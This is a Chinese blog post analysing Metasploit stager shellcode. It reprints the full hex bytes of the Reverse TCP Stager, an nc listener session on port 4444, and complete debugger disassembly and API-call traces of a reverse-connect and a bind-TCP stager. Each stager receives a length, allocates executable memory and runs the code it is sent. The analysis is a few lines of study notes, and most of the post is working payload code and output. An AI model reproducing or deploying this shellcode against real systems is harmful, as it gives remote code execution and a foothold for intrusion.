注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

一些stager shellcode  

2013-05-31 13:01:01|  分类: 方法技巧 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

这些shellcode都大同小异,都是接收大小开空间,在接收数据到空间,最后执行接收的数据。

调试这些shellcode在OD中最容易,复制这些shellcode到程序数据段,并设置eip为这些数据开头,

即可一步一步调试看这些过程,在调试中可以随时改变数据来满足条件。

 

'Name'          => 'Reverse TCP Stager',
'Version'       => '$Revision: 14774 $',
'Description'   => 'Connect back to the attacker',
'Author'        => ['hdm', 'skape', 'sf'],
'License'       => MSF_LICENSE,
'Platform'      => 'win',
'Arch'          => ARCH_X86,
'Handler'       => Msf::Handler::ReverseTcp,
'Convention'    => 'sockedi',
'Stager'        =>
 {
 'RequiresMidstager' => false,
 'Offsets' => { 'LHOST' => [ 197, 'ADDR' ], 'LPORT' => [ 204, 'n' ], 'ReverseConnectRetries' => [ 195, 'C'] },
 'Payload' =>

 

# Length: 290 bytes                                              
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57"
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01"
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B"
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4"
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B"
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24"
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07"
"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00"
"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF"
"\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6"
"\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF"
"\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56"
"\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00"
"\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56"
"\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75"
"\xEC\xC3"                                                       

d:\temp>nc -v -l -p 4444
listening on [any] 4444 ...
DNS fwd/rev mismatch: localhost != XPSP3
connect to [127.0.0.1] from localhost [127.0.0.1] 1040
313233
aaaaaaaaaaaaaaaaaaaaaa
bbbbbbbbbb
cccc

00403180    FC              cld
00403181    E8 89000000     call    0040320F
00403186    60              pushad
00403187    89E5            mov     ebp, esp
00403189    31D2            xor     edx, edx
0040318B    64:8B52 30      mov     edx, dword ptr fs:[edx+30]
0040318F    8B52 0C         mov     edx, dword ptr [edx+C]
00403192    8B52 14         mov     edx, dword ptr [edx+14]
00403195    8B72 28         mov     esi, dword ptr [edx+28]
00403198    0FB74A 26       movzx   ecx, word ptr [edx+26]
0040319C    31FF            xor     edi, edi
0040319E    31C0            xor     eax, eax
004031A0    AC              lods    byte ptr [esi]
004031A1    3C 61           cmp     al, 61
004031A3    7C 02           jl      short 004031A7
004031A5    2C 20           sub     al, 20
004031A7    C1CF 0D         ror     edi, 0D
004031AA    01C7            add     edi, eax
004031AC  ^ E2 F0           loopd   short 0040319E
004031AE    52              push    edx
004031AF    57              push    edi
004031B0    8B52 10         mov     edx, dword ptr [edx+10]
004031B3    8B42 3C         mov     eax, dword ptr [edx+3C]
004031B6    01D0            add     eax, edx
004031B8    8B40 78         mov     eax, dword ptr [eax+78]
004031BB    85C0            test    eax, eax
004031BD    74 4A           je      short 00403209
004031BF    01D0            add     eax, edx
004031C1    50              push    eax
004031C2    8B48 18         mov     ecx, dword ptr [eax+18]
004031C5    8B58 20         mov     ebx, dword ptr [eax+20]
004031C8    01D3            add     ebx, edx
004031CA    E3 3C           jecxz   short 00403208
004031CC    49              dec     ecx
004031CD    8B348B          mov     esi, dword ptr [ebx+ecx*4]
004031D0    01D6            add     esi, edx
004031D2    31FF            xor     edi, edi
004031D4    31C0            xor     eax, eax
004031D6    AC              lods    byte ptr [esi]
004031D7    C1CF 0D         ror     edi, 0D
004031DA    01C7            add     edi, eax
004031DC    38E0            cmp     al, ah
004031DE  ^ 75 F4           jnz     short 004031D4
004031E0    037D F8         add     edi, dword ptr [ebp-8]
004031E3    3B7D 24         cmp     edi, dword ptr [ebp+24]
004031E6  ^ 75 E2           jnz     short 004031CA
004031E8    58              pop     eax
004031E9    8B58 24         mov     ebx, dword ptr [eax+24]
004031EC    01D3            add     ebx, edx
004031EE    66:8B0C4B       mov     cx, word ptr [ebx+ecx*2]
004031F2    8B58 1C         mov     ebx, dword ptr [eax+1C]
004031F5    01D3            add     ebx, edx
004031F7    8B048B          mov     eax, dword ptr [ebx+ecx*4]
004031FA    01D0            add     eax, edx
004031FC    894424 24       mov     dword ptr [esp+24], eax
00403200    5B              pop     ebx
00403201    5B              pop     ebx
00403202    61              popad
00403203    59              pop     ecx
00403204    5A              pop     edx
00403205    51              push    ecx
00403206    FFE0            jmp     eax <----这里可以看到调用的函数地址
00403208    58              pop     eax
00403209    5F              pop     edi
0040320A    5A              pop     edx
0040320B    8B12            mov     edx, dword ptr [edx]
0040320D  ^ EB 86           jmp     short 00403195
0040320F    5D              pop     ebp
00403210    68 33320000     push    3233
00403215    68 7773325F     push    5F327377
0040321A    54              push    esp
0040321B    68 4C772607     push    726774C
00403220    FFD5            call    ebp
00403222    B8 90010000     mov     eax, 190
00403227    29C4            sub     esp, eax
00403229    54              push    esp
0040322A    50              push    eax
0040322B    68 29806B00     push    6B8029
00403230    FFD5            call    ebp
00403232    50              push    eax
00403233    50              push    eax
00403234    50              push    eax
00403235    50              push    eax
00403236    40              inc     eax
00403237    50              push    eax
00403238    40              inc     eax
00403239    50              push    eax
0040323A    68 EA0FDFE0     push    E0DF0FEA
0040323F    FFD5            call    ebp
00403241    97              xchg    eax, edi
00403242    6A 05           push    5
00403244    68 7F000001     push    100007F
00403249    68 0200115C     push    5C110002
0040324E    89E6            mov     esi, esp
00403250    6A 10           push    10
00403252    56              push    esi
00403253    57              push    edi
00403254    68 99A57461     push    6174A599
00403259    FFD5            call    ebp
0040325B    85C0            test    eax, eax
0040325D    74 0C           je      short 0040326B
0040325F    FF4E 08         dec     dword ptr [esi+8]
00403262  ^ 75 EC           jnz     short 00403250
00403264    68 F0B5A256     push    56A2B5F0
00403269    FFD5            call    ebp
0040326B    6A 00           push    0
0040326D    6A 04           push    4
0040326F    56              push    esi
00403270    57              push    edi
00403271    68 02D9C85F     push    5FC8D902
00403276    FFD5            call    ebp
00403278    8B36            mov     esi, dword ptr [esi]
0040327A    6A 40           push    40
0040327C    68 00100000     push    1000
00403281    56              push    esi
00403282    6A 00           push    0
00403284    68 58A453E5     push    E553A458
00403289    FFD5            call    ebp
0040328B    93              xchg    eax, ebx
0040328C    53              push    ebx
0040328D    6A 00           push    0
0040328F    56              push    esi
00403290    53              push    ebx
00403291    57              push    edi
00403292    68 02D9C85F     push    5FC8D902
00403297    FFD5            call    ebp
00403299    01C3            add     ebx, eax
0040329B    29C6            sub     esi, eax
0040329D    85F6            test    esi, esi
0040329F  ^ 75 EC           jnz     short 0040328D
004032A1    C3              retn

 

00403206  - FFE0            jmp     eax  ; kernel32.LoadLibraryA

0012FE10   00403222  /CALL 到 LoadLibraryA 来自 msgbox.00403220
0012FE14   0012FE18  \FileName = "ws2_32"

0012FC7C   00403232  /CALL 到 WSAStartup 来自 msgbox.00403230
0012FC80   00000190  |RequestedVersion = 190 (144.1.)
0012FC84   0012FC88  \pWSAData = 0012FC88

0012FC6C   00403241  /CALL 到 WSASocketA 来自 msgbox.0040323F
0012FC70   00000002  |Family = AF_INET
0012FC74   00000001  |Type = SOCK_STREAM
0012FC78   00000000  |Protocol = IPPROTO_IP
0012FC7C   00000000  |pWSAprotocol = NULL
0012FC80   00000000  |Group = 0
0012FC84   00000000  \Flags = 0

0012FC6C   0040325B  /CALL 到 connect 来自 msgbox.00403259
0012FC70   000000BC  |Socket = BC
0012FC74   0012FC7C  |pSockAddr = 0012FC7C
0012FC78   00000010  \AddrLen = 10 (16.)

0012FC7C  02 00 11 5C 7F 00 00 01 05 00 00 00 02 02 02 02

0012FC74   0040326B  /CALL 到 ExitProcess 来自 msgbox.00403269
0012FC78   00B00000  \ExitCode = B00000


0012FC68   00403278  /CALL 到 recv 来自 msgbox.00403276
0012FC6C   000000BC  |Socket = BC
0012FC70   0012FC7C  |Buffer = 0012FC7C
0012FC74   00000004  |BufSize = 4
0012FC78   00000000  \Flags = 0

0012FC68   0040328B  /CALL 到 VirtualAlloc 来自 msgbox.00403289
0012FC6C   00000000  |Address = NULL
0012FC70   32333133  |Size = 32333133 (842215731.)
0012FC74   00001000  |AllocationType = MEM_COMMIT
0012FC78   00000040  \Protect = PAGE_EXECUTE_READWRITE

0012FC64   00403299  /CALL 到 recv 来自 msgbox.00403297
0012FC68   000000BC  |Socket = BC
0012FC6C   00B00000  |Buffer = 00B00000
0012FC70   00000100  |BufSize = 100 (256.)
0012FC74   00000000  \Flags = 0

0012FC64   00403299  /CALL 到 recv 来自 msgbox.00403297
0012FC68   000000BC  |Socket = BC
0012FC6C   00B0001A  |Buffer = 00B0001A
0012FC70   000000E6  |BufSize = E6 (230.)
0012FC74   00000000  \Flags = 0

0012FC64   00403299  /CALL 到 recv 来自 msgbox.00403297
0012FC68   000000BC  |Socket = BC
0012FC6C   00B00025  |Buffer = 00B00025
0012FC70   00000004  |BufSize = 4
0012FC74   00000000  \Flags = 0


总结:
该代码反向连接到本机的4444端口,接收数据并执行。
开始的4个字节作为后续数据的大小,并按这个大小申请空间,之后的数据都存放到
这个空间并作为代码执行。

问题:4个字节大小容易导致分配大量内存!

 

00403040    FC              cld
00403041    E8 89000000     call    004030CF
00403046    60              pushad
00403047    89E5            mov     ebp, esp
00403049    31D2            xor     edx, edx
0040304B    64:8B52 30      mov     edx, dword ptr fs:[edx+30]
0040304F    8B52 0C         mov     edx, dword ptr [edx+C]
00403052    8B52 14         mov     edx, dword ptr [edx+14]
00403055    8B72 28         mov     esi, dword ptr [edx+28]
00403058    0FB74A 26       movzx   ecx, word ptr [edx+26]
0040305C    31FF            xor     edi, edi
0040305E    31C0            xor     eax, eax
00403060    AC              lods    byte ptr [esi]
00403061    3C 61           cmp     al, 61
00403063    7C 02           jl      short 00403067
00403065    2C 20           sub     al, 20
00403067    C1CF 0D         ror     edi, 0D
0040306A    01C7            add     edi, eax
0040306C  ^ E2 F0           loopd   short 0040305E
0040306E    52              push    edx
0040306F    57              push    edi
00403070    8B52 10         mov     edx, dword ptr [edx+10]
00403073    8B42 3C         mov     eax, dword ptr [edx+3C]
00403076    01D0            add     eax, edx
00403078    8B40 78         mov     eax, dword ptr [eax+78]
0040307B    85C0            test    eax, eax
0040307D    74 4A           je      short 004030C9
0040307F    01D0            add     eax, edx
00403081    50              push    eax
00403082    8B48 18         mov     ecx, dword ptr [eax+18]
00403085    8B58 20         mov     ebx, dword ptr [eax+20]
00403088    01D3            add     ebx, edx
0040308A    E3 3C           jecxz   short 004030C8
0040308C    49              dec     ecx
0040308D    8B348B          mov     esi, dword ptr [ebx+ecx*4]
00403090    01D6            add     esi, edx
00403092    31FF            xor     edi, edi
00403094    31C0            xor     eax, eax
00403096    AC              lods    byte ptr [esi]
00403097    C1CF 0D         ror     edi, 0D
0040309A    01C7            add     edi, eax
0040309C    38E0            cmp     al, ah
0040309E  ^ 75 F4           jnz     short 00403094
004030A0    037D F8         add     edi, dword ptr [ebp-8]
004030A3    3B7D 24         cmp     edi, dword ptr [ebp+24]
004030A6  ^ 75 E2           jnz     short 0040308A
004030A8    58              pop     eax
004030A9    8B58 24         mov     ebx, dword ptr [eax+24]
004030AC    01D3            add     ebx, edx
004030AE    66:8B0C4B       mov     cx, word ptr [ebx+ecx*2]
004030B2    8B58 1C         mov     ebx, dword ptr [eax+1C]
004030B5    01D3            add     ebx, edx
004030B7    8B048B          mov     eax, dword ptr [ebx+ecx*4]
004030BA    01D0            add     eax, edx
004030BC    894424 24       mov     dword ptr [esp+24], eax
004030C0    5B              pop     ebx
004030C1    5B              pop     ebx
004030C2    61              popad
004030C3    59              pop     ecx
004030C4    5A              pop     edx
004030C5    51              push    ecx
004030C6    FFE0            jmp     eax
004030C8    58              pop     eax
004030C9    5F              pop     edi
004030CA    5A              pop     edx
004030CB    8B12            mov     edx, dword ptr [edx]
004030CD  ^ EB 86           jmp     short 00403055
004030CF    5D              pop     ebp
004030D0    68 33320000     push    3233
004030D5    68 7773325F     push    5F327377
004030DA    54              push    esp
004030DB    68 4C772607     push    726774C
004030E0    FFD5            call    ebp
004030E2    B8 90010000     mov     eax, 190
004030E7    29C4            sub     esp, eax
004030E9    54              push    esp
004030EA    50              push    eax
004030EB    68 29806B00     push    6B8029
004030F0    FFD5            call    ebp
004030F2    50              push    eax
004030F3    50              push    eax
004030F4    50              push    eax
004030F5    50              push    eax
004030F6    40              inc     eax
004030F7    50              push    eax
004030F8    40              inc     eax
004030F9    50              push    eax
004030FA    68 EA0FDFE0     push    E0DF0FEA
004030FF    FFD5            call    ebp
00403101    97              xchg    eax, edi
00403102    31DB            xor     ebx, ebx
00403104    53              push    ebx
00403105    68 0200115C     push    5C110002
0040310A    89E6            mov     esi, esp
0040310C    6A 10           push    10
0040310E    56              push    esi
0040310F    57              push    edi
00403110    68 C2DB3767     push    6737DBC2
00403115    FFD5            call    ebp
00403117    53              push    ebx
00403118    57              push    edi
00403119    68 B7E938FF     push    FF38E9B7
0040311E    FFD5            call    ebp
00403120    53              push    ebx
00403121    53              push    ebx
00403122    57              push    edi
00403123    68 74EC3BE1     push    E13BEC74
00403128    FFD5            call    ebp
0040312A    57              push    edi
0040312B    97              xchg    eax, edi
0040312C    68 756E4D61     push    614D6E75
00403131    FFD5            call    ebp
00403133    6A 00           push    0
00403135    6A 04           push    4
00403137    56              push    esi
00403138    57              push    edi
00403139    68 02D9C85F     push    5FC8D902
0040313E    FFD5            call    ebp
00403140    8B36            mov     esi, dword ptr [esi]
00403142    6A 40           push    40
00403144    68 00100000     push    1000
00403149    56              push    esi
0040314A    6A 00           push    0
0040314C    68 58A453E5     push    E553A458
00403151    FFD5            call    ebp
00403153    93              xchg    eax, ebx
00403154    53              push    ebx
00403155    6A 00           push    0
00403157    56              push    esi
00403158    53              push    ebx
00403159    57              push    edi
0040315A    68 02D9C85F     push    5FC8D902
0040315F    FFD5            call    ebp
00403161    01C3            add     ebx, eax
00403163    29C6            sub     esi, eax
00403165    85F6            test    esi, esi
00403167  ^ 75 EC           jnz     short 00403155
00403169    C3              retn

0012FFA0   004030E2  /CALL 到 LoadLibraryA 来自 msgbox.004030E0
0012FFA4   0012FFA8  \FileName = "ws2_32"

0012FE0C   004030F2  /CALL 到 WSAStartup 来自 msgbox.004030F0
0012FE10   00000190  |RequestedVersion = 190 (144.1.)
0012FE14   0012FE18  \pWSAData = 0012FE18

0012FDFC   00403101  /CALL 到 WSASocketA 来自 msgbox.004030FF
0012FE00   00000002  |Family = AF_INET
0012FE04   00000001  |Type = SOCK_STREAM
0012FE08   00000000  |Protocol = IPPROTO_IP
0012FE0C   00000000  |pWSAprotocol = NULL
0012FE10   00000000  |Group = 0
0012FE14   00000000  \Flags = 0

0012FE00   00403117  /CALL 到 bind 来自 msgbox.00403115
0012FE04   000000B0  |Socket = B0
0012FE08   0012FE10  |pSockAddr = 0012FE10
0012FE0C   00000010  \AddrLen = 10 (16.)

0012FE04   00403120  /CALL 到 listen 来自 msgbox.0040311E
0012FE08   000000B0  |Socket = B0
0012FE0C   00000000  \Backlog = 0

0012FE00   0040312A  /CALL 到 accept 来自 msgbox.00403128
0012FE04   000000B0  |Socket = B0
0012FE08   00000000  |pSockAddr = NULL
0012FE0C   00000000  \pAddrLen = NULL

0012FE08   00403133  /CALL 到 closesocket 来自 msgbox.00403131
0012FE0C   000000B0  \Socket = B0

0012FDFC   00403140  /CALL 到 recv 来自 msgbox.0040313E
0012FE00   000000BC  |Socket = BC
0012FE04   0012FE10  |Buffer = 0012FE10
0012FE08   00000004  |BufSize = 4
0012FE0C   00000000  \Flags = 0

0012FDFC   00403153  /CALL 到 VirtualAlloc 来自 msgbox.00403151
0012FE00   00000000  |Address = NULL
0012FE04   00000007  |Size = 7
0012FE08   00001000  |AllocationType = MEM_COMMIT
0012FE0C   00000040  \Protect = PAGE_EXECUTE_READWRITE

0012FDF8   00403161  /CALL 到 recv 来自 msgbox.0040315F
0012FDFC   000000BC  |Socket = BC
0012FE00   00B00000  |Buffer = 00B00000
0012FE04   00000007  |BufSize = 7
0012FE08   00000000  \Flags = 0

  评论这张
 
阅读(690)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017